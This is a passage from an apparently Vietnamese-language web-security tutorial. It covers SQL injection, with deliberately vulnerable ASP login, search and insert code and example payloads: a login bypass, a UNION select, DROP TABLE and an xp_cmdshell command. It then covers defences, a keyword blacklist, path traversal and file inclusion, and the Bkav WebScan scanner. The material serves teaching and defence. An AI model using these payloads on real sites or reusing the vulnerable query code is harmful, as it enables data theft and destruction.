phụ thuộc vào nội dung của dữ liệu hay bảng hiện tại.
7. Điều kiện lỗi
Lỗi SQL injection dạng này dẫn tới việc buộc cơ sở dữ liệu chỉ được phép đánh giá
khi mà giá trị của câu lệnh WHERE là đúng. Ví dụ:
SELECT 1/0 FROM users WHERE username='Ralph';
Phép chia cho 0 chỉ được đánh giá là lỗi khi mà người dùng có tên "Ralph" tồn tại
trong cơ sở dữ liệu.
8. Thời gian trễ
Lỗi SQL injection dạng này tồn tại khi thời gian xử lý của một hay nhiều truy vấn
SQL phụ thuộc vào dữ liệu logic được nhập vào hoặc quá trình xử lý truy vấn của SQL
engine cần nhiều thời gian. Tin tặc có thể sử dụng lỗi SQL injection dạng này để xác định
thời gian chính xác mà trang cần tải khi giá trị nhập vào là đúng.
XI. Một số dạng tấn công thường gặp với các ứng dụng web
Có bốn dạng tấn công thường gặp bao gồm: vượt qua kiểm tra lúc đăng nhập, sử dụng câu
lệnh SELECT, sử dụng câu lệnh INSERT, sử dụng các stored-procedures.
1 Dạng tấn công vượt qua kiểm tra lúc đăng nhập
Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào
lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web. Thông
thường để cho phép người dùng truy cập vào các trang web được bảo mật, hệ thống
thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập

và mật khẩu. Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập
và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp. Ví
dụ, trong trường hợp sử dụng ASP, người ta có thể dùng 2 trang : 1 trang HTML để hiển
thị Form nhập liệu và 1 trang ASP để xử lý thông tin nhập vào từ phía người dùng như
sau:
− Trang nhập liệu: login.htm
<form action="ExecLogin.asp" method="post">
Username: <input type="text" name="fUSRNAME"><br />
Password: <input type="password" name="fPASSWORD"><br />
<input type="submit">
</form>
− Trang xử lý nhập liệu: execlogin.asp
<%
Dim vUsrName, vPassword, objRS, strSQL
vUsrName = Request.Form("fUSRNAME")
vPassword = Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _
"WHERE USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN= "
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " & objRS("USR_NAME")
End If
Set objRS = Nothing %>
Chỗ sơ hở trong đoạn mã xử lý nhập liệu trên nằm ở chỗ dữ liệu nhập vào từ người
dùng được dùng để xây dựng trực tiếp câu lệnh SQL. Chính điều này cho phép tin tặc có
thể điều khiển câu truy vấn sẽ được thực hiện. Ví dụ, nếu người dùng nhập chuỗi sau vào

trong cả 2 ô nhập liệu username/password của trang login.htm là: 'OR=. Lúc này, câu
truy vấn sẽ được gọi thực hiện là:
SELECT * FROM T_USERS WHERE USR_NAME =''OR''=''
AND USR_PASSWORD= ''OR''=''
Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và đoạn mã
tiếp theo xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp
lệ.
9. Dạng tấn công sử dụng câu lệnh SELECT
Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ tấn công
phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm
các điểm yếu khởi đầu cho việc tấn công. Ví dụ, trong các trang tìm kiếm. Các trang này
cho phép người dùng nhập vào các thông tin tìm kiếm như Họ, Tên, … Đoạn mã thường
gặp là:
<%
Dim vAuthorName, objRS, strSQL
vAuthorName = Request("fAUTHOR_NAME")
strSQL = "SELECT * FROM T_AUTHORS WHERE AUTHOR_NAME =' "
& _ vAuthorName & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN= "
…
Set objRS = Nothing %>
Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập vào
trường tên tác giả bằng chuỗi giá trị:
' UNION SELECT ALL SELECT OtherField FROM OtherTable
WHERE ' '=' (*)
Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm
lệnh tiếp theo sau từ khóa UNION nữa. Giả sử đoạn mã nhập vào là:
' DROP TABLE T_AUTHORS –
Câu truy vấn sẽ thực hiện việc xóa bảng.

10. Dạng tấn công sử dụng câu lệnh INSERT
Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để
tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể
xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống
không kiểm tra tính hợp lệ của thông tin nhập vào. Ví dụ, một câu lệnh INSERT có thể có
cú pháp dạng:
INSERT INTO TableName
VALUES('Value One', 'Value Two', 'Value Three')
Nếu đoạn mã xây dựng câu lệnh SQL có dạng :
<%
strSQL = "INSERT INTO TableName
VALUES(' " & strValueOne & " ',' " _ & strValueTwo & " ',
' " & strValueThree & " ') "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN= "
…
Set objRS = Nothing
%>
Thì chắc chắn sẽ bị lỗi SQLi, bởi vì nếu ta nhập vào trường thứ nhất ví dụ như:
' + (SELECT TOP 1 FieldName FROM TableName) + '
Lúc này câu truy vấn sẽ là :
INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName
FROM TableName) + ' ', 'abc', 'def')
Khi đó, lúc thực hiện lệnh xem thông tin, xem như bạn đã yêu cầu thực hiện thêm
một lệnh nữa đó là:
SELECT TOP 1 FieldName FROM TableName
11. Dạng tấn công sử dụng stored-procedures
Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được thực
thi với quyền quản trị hệ thống 'sa'. Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: ' ; EXEC
xp_cmdshell ‘cmdd.exe dir C: '. Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ

đĩa C:\ cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.
fg
XII. Tác hại của SQL Injection
Tác hại của dạng tấn công SQL Injection tùy thuộc vào môi trường và cách cấu hình hệ
thống. Nếu ứng dụng sử dụng quyền DBO (quyền của người sở hữu CSDL) khi thao tác dữ liệu,
nó có thể xóa toàn bộ các bảng dữ liệu, tạo các bảng dữ liệu mới Nếu ứng dụng sử dụng quyền
SA (quyền quản trị hệ thống), nó có thể điều khiển toàn bộ hệ CSDL và thậm chí có thể tạo ra
các tài khoản người dùng bất hợp pháp để điều khiển hệ thống của bạn.
XIII. Chống tấn công kiểu SQL Injection
Lỗ hổng SQL Injection xảy ra khi kết hợp cả 2 điều kiện:
− Có sự truy vấn tới cơ sở dữ liệu
− Câu truy vấn chưa được kiểm tra sự an toàn.
Có thể kh•ng định chắc chắn rằng, một biến được nhập vào từ người dùng, qua nhiều bước
xử lý trung gian mà không có bất cứ bước nào kiểm tra sự an toàn của nó rồi đem query tới cơ sở
dữ liệu thì chắc chắn sẽ mắc lỗ hổng SQL Injection. Đây cũng chính là điểm mấu chốt để nhận
diện và phòng chống lỗ hổng SQL Injection.
1 Kiểm soát chặt chẽ dữ liệu nhập vào
Để phòng tránh các nguy cơ có thể xảy ra, cần kiểm soát chặt chẽ tất cả các dữ liệu
nhập nhận được từ đối tượng Request (Request, Requset.QueryString, Request.Form,
Request. Cookies, Request.ServerVariables ). Ví dụ, có thể giới hạn chiều dài chuỗi nhập
liệu, hoặc xây dựng hàm EscspeQuotes để thay thế các dấu nháy đơn bằng bao dấu nháy
đơn như:
<%
Function EscapeQuoctes(sInput)
sInput = replace(sInput, “ ‘ ”, “ ‘’ ”)
EscapeQuotes = sInput
5
End Function
%>
Trong trường hợp dữ liệu nhập vào là số, lỗi xuất phát từ việc thay thế một giá trị

được đoán trước là dữ liệu số bằng một chuỗi chứa câu lệnh SQL bất hợp pháp.Để tránh
điều này, hãy kiểm tra dữ liệu nhập vào có đúng liểu số hay không bằng hàm
IsNumeric().
Ngoài ra có thể ra có thể xây dựng hàm loại bỏ một số ký tự và từ khóa nguya hiểm
như: ;, , select, insert,xp_, ra khỏi chuỗi dữ liệu nhập từ phái người dùng để hạn chế
các tấn công dạng này:
<%
Function KillChars(sInput)
dim badChars
dim newChars
badChars = array("select", "drop", ";", " ",
"insert", "delete", "xp_")
newChars = strInput
for i = 0 to uBound(badChars)
newChars = replace(newChars, badChars(i), "")
next
KillChars = newChars
End Function
%>
12. Thiết lập cấu hình an toàn cho hệ quản trị cơ sở dữ liệu
Cần có cơ chế kiểm soát chặt chẽ và giới hạn quyền xử lý dữ liệu đến tài khoản
người dùng mà ứng dụng web đang sử dụng. Các ứng dụng thông thường nên tránh dùng
đến các quyền như DBO hay SA. Quyền càng bị hạn chế thì thiệt hại càng ít. Ngoài ra để
tránh các nguy cơ gây hại từ SQL Injection attack, nên loại bỏ bất kỳ thông tin kỹ thuật
nào chứa trong thông điệp chuyển xuống dưới cho người dùng khi ứng dụng có lỗi. Các
thông báo lỗi thường tiết lộ các thông tin chi tiết kỹ thuật có thể cho biết điểm yếu của hệ
thống.
Sử dụng store procedure thay vì dùng query thông thường. Khi sử dụng store
procedure sẽ hạn chế tối đa các khả năng chèn các đoạn mã nguy hiểm trong yêu cầu.
Xóa các store procedure nguy hiểm không dùng đến như xp_cmdshell, xp_startmail,

xp_sendmail
Chương 4. Một số lỗ hổng bảo mật khác
I HTTP Response Splitting
− Lỗi HTTP Response Splitting (HTTP RS) tấn công vào ứng dụng web và diễn ra khi
nó không thể xử lý đúng các thông tin đầu vào người dùng nhập.
− Kẻ tấn công từ xa có thể gửi một yêu cầu HTTP đặc biệt làm cho mày chủ web định
dạng yêu cầu nhầm tưởng rằng nó chưa hai yêu cầu HTTP.
− Chỉ yêu cầu thứ nhất được xử lý bởi người sử dụng. HTTP RS cho phép tiến hành
một lượng lớn các cuộc tấn công kiểu như web cache poisioning, deface, cross user
defacement, chặn và ăn cắp thông tin người dùng, XSS.
XIV. Directory traversal
− Directory traversal hay còn được biết đến với một số tên khác như là “dot dot slash”,
“Path traversal”, “directory clumbing” và “back tracking” là hình thức tấn công truy
cập đến những file và thư mục được lưu bên ngoài thư mục webroot.
− Hình thức tấn công này không cần sử dụng một công cụ nào mà chỉ đơn thuần thao
tác các biến với /(dot dot slash) để truy cập đến file, thư mục, bao gồm cả source
code, những file hệ thống…
− Những hàm của ngôn ngữ lập trình Web có khả năng gây lỗi Path Traversal như sau:
o PHP: include(), include_once(), require(), require_once(), fopen(), readfile()
o JSP/Servlet: java.io.File(), java.io.FileReader(), …
o ASP: include file, include virtual, …
XV. File Inclusion Attacks
− File Inclusion là gì?
o Khi một trang web sử dụng các lệnh include, require … để gọi đến một file
khác và sơ ý đề cho người dùng có thể thay đổi file cần gọi đến. Lỗi này đồng
nghĩa với việc website đang đứng trước nguy cơ bị tấn công File Inclusion.
o Tùy vào mức độ bảo mật của server, hacker cóthể include đến file trên server
đó hoặc include đến file trên server khác. Với từng mức độ khác nhau hacker
có thể có nhiều cách để up shell.
− Mức độ nguy hiểm rất cao.

o Nếu server kém bảo mật thì kẻ tấn công có thể đọc được file của toàn bộ hệ
thống, file của các website khác trên cùng máy chủ.
o Lỗi này hay được ứng dụng để tấn công local: kiểu tấn công máy chủ,
website thông qua một site bị lỗi trên máy chủ. Nếu có quyền ghi, tất cả các
fiel có thề bị thay đổi: deface trang chủ, chèn mã độc để thu thập thông tin
đăng nhập, ẩn dấu backdoor để lần sau vào tiếp
o Có thề lấy thông tin truy cập CSDL qua file cấu hình của website, sao đó truy
nhập vào CSDL: xem, xóa, sửa dữ liệu
− Nhận biết: các địa chỉ có dạng ?page=download.html, ?page=template.tmp
PHẦN III. MỘT SỐ CÔNG CỤ HỖ TRỢ PHÁT HIỆN LỖI
I Các phần mềm tìm lỗ hổng cho web:
− Acunetix
− HP Scrawlr
− URLScan
− Google
XVI. Bkav WebScan - Dịch vụ quét lỗ hổng bảo mật an toàn Website trực tuyến dành cho
Webmaster (theo )
Bkav WebScan là dịch vụ quét, phát hiện và đánh giá các lỗ hổng an ninh của website. Đây
là dịch vụ dành cho các quản trị website.
Bkav WebScan sử dụng công nghệ điện toán đám mây và hoạt động theo mô hình SaaS
(Software as a Service). Các Webmaster có thể truy cập địa chỉ để
sử dụng thử nghiệm Dịch vụ.
1 WebScan hoạt động trên nguyên tắc nào?
Bkav WebScan được xây dựng theo mô hình SaaS (Software as a Service) sử dụng
công nghệ điện toán đám mây (cloud computing) vào lĩnh vực phát hiện lỗ hổng web. Để
tiến hành kiểm tra lỗ hổng website, người sử dụng không cần phải cài đặt bất kỳ phần
mềm nào trên máy tính của mình. Bạn chỉ cần truy cập website webscan.bkav.com.vn để
thực hiện quét. Hệ thống Bkav WebScan sẽ tương tác với website của bạn để quét và
thông báo lại kết quả quét tới bạn.
13. Người khác có thể sử dụng Bkav WebScan để quét website của tôi không?

Không. Nếu bạn là quản trị website thì chỉ có bạn mới có thể chủ động thực hiện việc
quét lỗ hổng website của bạn.
14. Làm thế nào để tôi chứng minh mình là quản trị của một wesbite?
Trước khi thực hiện lệnh quét, bạn sẽ được Bkav WebScan yêu cầu phải chứng minh
quyền quản trị của website. Bkav WebScan sẽ sinh ra ngẫu nhiên một file text, có dung
lượng 40 bytes. Bạn cần phải upload file text đó lên website bạn cần quét. Bkav
WebScan sẽ kiểm tra sự tồn tại của file này trên website của bạn để xác nhận quyền quản
trị của bạn.
15. Bkav WebScan có hỗ trợ quét các website sử dụng giao thức https không?
Có.
16. Thời gian quét mất khoảng bao nhiêu lâu?
Thời gian quét phụ thuộc vào độ lớn website của bạn cũng như cấu hình quét bạn
chọn. Trung bình thời gian quét có thể kéo dài từ 2h đến 48h.
17. Khi tôi đang cho thực hiện quét thì có được đóng cửa sổ trình duyệt hay không?
Được. Việc bạn đóng cửa sổ trình duyệt không ảnh hưởng tới quá trình quét, vì lệnh
quét vẫn đang được thực hiện tại máy chủ của Bkav WebScan.
18. Tôi có thể cùng lúc quét nhiều website không?
Được. Nếu bạn đang quản trị nhiều website, bạn có thể thực hiện quét các website
này cùng một lúc.
19. Kết quả quét được thông báo với tôi như thế nào?
Sau khi quét xong, kết quả sẽ được thông báo tới bạn qua email. Bên cạnh đó, kết
quả cũng được lưu trên website webscan.bkav.com.vn
20. Sau khi nhận được thông báo của WebScan về các lỗ hổng trên website của tôi thì tôi
sẽ phải giải quyết như thế nào?
Với những lỗ hổng được thông báo bởi WebScan, bạn sẽ được chỉ dẫn khắc phục
một cách cụ thể. Từ đó, bạn sẽ có thể sửa chữa các lỗ hổng này trên website của bạn.
Tài liệu tham khảo
http://www.4guy sfromrolla.com/webtech/061902-1.shtml
http://www .sqlsecurity.com/DesktopDefault .aspx?tabindex=2&tabid=3
sql_injection.pdf

/sql.shtml
/>